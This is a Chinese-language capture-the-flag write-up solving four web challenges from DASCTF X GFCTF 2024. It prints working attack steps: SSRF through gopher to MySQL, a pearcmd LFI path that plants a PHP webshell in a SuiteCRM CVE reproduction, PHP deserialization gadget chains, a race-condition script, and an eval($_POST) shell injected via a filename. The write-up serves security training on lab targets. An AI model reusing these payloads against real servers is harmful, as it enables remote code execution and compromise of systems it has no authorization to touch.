目录

EasySignin

cool_index 

SuiteCRM

web1234

法一、条件竞争(没成功)

法二、session反序列化


EasySignin

【Web】DASCTF X GFCTF 2024|四月开启第一局 题解(全)插图

先随便注册个账号登录,然后拿bp抓包改密码(username改成admin)

【Web】DASCTF X GFCTF 2024|四月开启第一局 题解(全)插图(1)

然后admin / 1234567登录

【Web】DASCTF X GFCTF 2024|四月开启第一局 题解(全)插图(2)康好康的图片功能可以打SSRF,不能直接读本地文件,比如/etc/paswd /proc/1/environ

gopher协议探测出3306端口,可以打mysql

【Web】DASCTF X GFCTF 2024|四月开启第一局 题解(全)插图(3) 【Web】DASCTF X GFCTF 2024|四月开启第一局 题解(全)插图(4)

直接gopherus来打

【Web】DASCTF X GFCTF 2024|四月开启第一局 题解(全)插图(5)

生成的payload _ 后的部分要url二次编码 

 【Web】DASCTF X GFCTF 2024|四月开启第一局 题解(全)插图(6)

base64解码拿到flag 

【Web】DASCTF X GFCTF 2024|四月开启第一局 题解(全)插图(7)

cool_index 

拿到附件,主要看这段逻辑

app.post("/article", (req, res) => {
    const token = req.cookies.token;
    if (token) {
        try {
            const decoded = jwt.verify(token, JWT_SECRET);
            let index = req.body.index;
            if (req.body.index = 7) {
                return res
                    .status(403)
                    .json({ message: "订阅高级会员以解锁" });
            }
            index = parseInt(index);
            if (Number.isNaN(index) || index > articles.length - 1) {
                return res.status(400).json({ message: "你知道我要说什么" });
            }

            return res.json(articles[index]);
        } catch (error) {
            res.clearCookie("token");
            return res.status(403).json({ message: "重新登录罢" });
        }
    } else {
        return res.status(403).json({ message: "未登录" });
    }
});

注意到index是在中间才进行parseInt处理的,所以可以进行一个特性的利用

【Web】DASCTF X GFCTF 2024|四月开启第一局 题解(全)插图(8)

 可以自行对照一下各种判断,最后会输出第八篇文章,索引为7

【Web】DASCTF X GFCTF 2024|四月开启第一局 题解(全)插图(9)

SuiteCRM

【Web】DASCTF X GFCTF 2024|四月开启第一局 题解(全)插图(10)

【Web】DASCTF X GFCTF 2024|四月开启第一局 题解(全)插图(11)

Suite CRM v7.14.2 – RCE via LFI | Advisories | Fluid Attacks

直接复现CVE即可

先是切换到81端口,suitecrm/suitecrm登录

LFI肯定想到打pearcmd

/index.php//usr/local/lib/php/pearcmd.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/+/tmp/shell.php

先pearcmd写马 

【Web】DASCTF X GFCTF 2024|四月开启第一局 题解(全)插图(12)

再包含写进去的马,命令执行拿flag

/index.php//tmp/shell.php

cmd=system('tac /f*');

【Web】DASCTF X GFCTF 2024|四月开启第一局 题解(全)插图(13)

web1234

【Web】DASCTF X GFCTF 2024|四月开启第一局 题解(全)插图(14)

登录很容易,就是附件里resetconf里的信息进行一波处理

【Web】DASCTF X GFCTF 2024|四月开启第一局 题解(全)插图(15)

【Web】DASCTF X GFCTF 2024|四月开启第一局 题解(全)插图(16)

【Web】DASCTF X GFCTF 2024|四月开启第一局 题解(全)插图(17)

然后?uname=admin&passwd=1q2w3e登录 

法一、条件竞争(没成功)

大体思路就是先反序列化给record.php写入<?php error_reporting(0);

当record.php非空后,追加的内容就可以提交表单写入,也就是可以写马

在upload和fileput中间的那个时间访问index执行反序列化,可以打条件竞争

【Web】DASCTF X GFCTF 2024|四月开启第一局 题解(全)插图(18)

链子很简单

Admin#__Destruct -> Config.showconf() -> Log#__toString

反序列化exp:

Config=$b;
$b->show=$c;
$c->data='log_start()';
echo serialize($a);

删去最后一个括号绕过__wakeup

把序列化结果放进本地config文件中

写脚本,跑条件竞争

import requests
import threading

url1 = 'http://f54fa87e-403e-4156-8fce-9e2e1af28378.node5.buuoj.cn:81/?uname=admin&passwd=1q2w3e'

def upload():
    while True:
        filename = "Config"
        with open('config', "rb") as f:
            files = {"avatar": (filename, f.read())}
            data = {
                "m": "edit",
                "nickname": "",
                "sex": "1",
                "mail": "1",
                "telnum": "1",

            }
            response = requests.post(url=url1, files=files,data=data)
            print(response.status_code)

url2 = 'http://f54fa87e-403e-4156-8fce-9e2e1af28378.node5.buuoj.cn:81'
url3 = 'http://f54fa87e-403e-4156-8fce-9e2e1af28378.node5.buuoj.cn:81/record.php'

def read():
    while True:
        res2 = requests.get(url2)
        print(res2.status_code)
        res3 = requests.get(url3)
        if "php" in res3.text:
            print('success')

# 创建多个上传线程
upload_threads = [threading.Thread(target=upload) for _ in range(30)]

# 创建多个读取线程
read_threads = [threading.Thread(target=read) for _ in range(30)]

# 启动上传线程
for t in upload_threads:
    t.start()

# 启动读取线程
for t in read_threads:
    t.start()

没跑出来,做不下去了(buu靶机跑条件竞争好像有丶抽象)

法二、session反序列化

后来题目给了hint让打session反序列化(不是我寻思你附件也妹给session_start啊)

【Web】DASCTF X GFCTF 2024|四月开启第一局 题解(全)插图(19)

先backdoor来执行phpinfo()

【Web】DASCTF X GFCTF 2024|四月开启第一局 题解(全)插图(20)

用backdoor来执行session_start() 

 【Web】DASCTF X GFCTF 2024|四月开启第一局 题解(全)插图(21)

利用链触发Log的toString⽅法即可,但是触发点并不是在反序列化,而在序列化_sleep函数中

Config#__sleep -> Config.showconf() -> Log#__toString  

启动了session_start以后,就会找sess_XXX里的内容进行反序列化,反序列化后得到$Session对象,比如下面的aaa|O:6:”Config”:…就是对应的$_SESSION[‘aaa’],然后在程序执行完要退出之前,会重新把$SESSION写进sess_XXX文件,也就是序列化的过程,从而触发_sleep

(即写回去的时候就是序列化前面反序列化的对象)

这种Session的设计理念其实很好理解,如若不然,session存用户的登录状态,用户每次访问,哪怕所有属性都原封不动没有改变,代码都得手动设置$_SESSION[‘user’]=xxx,这样显然是不合理的

事实上$_SESSION[‘user’]=xxx往往只用于改变用户属性

 exp:

data="log_start()";
$exp->avatar=$sink;
echo serialize($exp);

sess_Z3r4y文件内容

aaa|O:6:”Config”:7:{s:5:”uname”;N;s:6:”passwd”;N;s:6:”avatar”;O:3:”Log”:1:{s:4:”data”;s:11:”log_start()”;}s:8:”nickname”;N;s:3:”sex”;N;s:4:”mail”;N;s:6:”telnum”;N;}

 【Web】DASCTF X GFCTF 2024|四月开启第一局 题解(全)插图(22)

在⽂件名处写马,⽂件名为 1′;eval($_POST[1]);# 即可

注意删去Cookie,防止再次写入 <?php error_reporting(0);

【Web】DASCTF X GFCTF 2024|四月开启第一局 题解(全)插图(23)

访问/record.php,成功写马,命令执行拿flag

【Web】DASCTF X GFCTF 2024|四月开启第一局 题解(全)插图(24)

本站无任何商业行为
个人在线分享 » 【Web】DASCTF X GFCTF 2024|四月开启第一局 题解(全)
E-->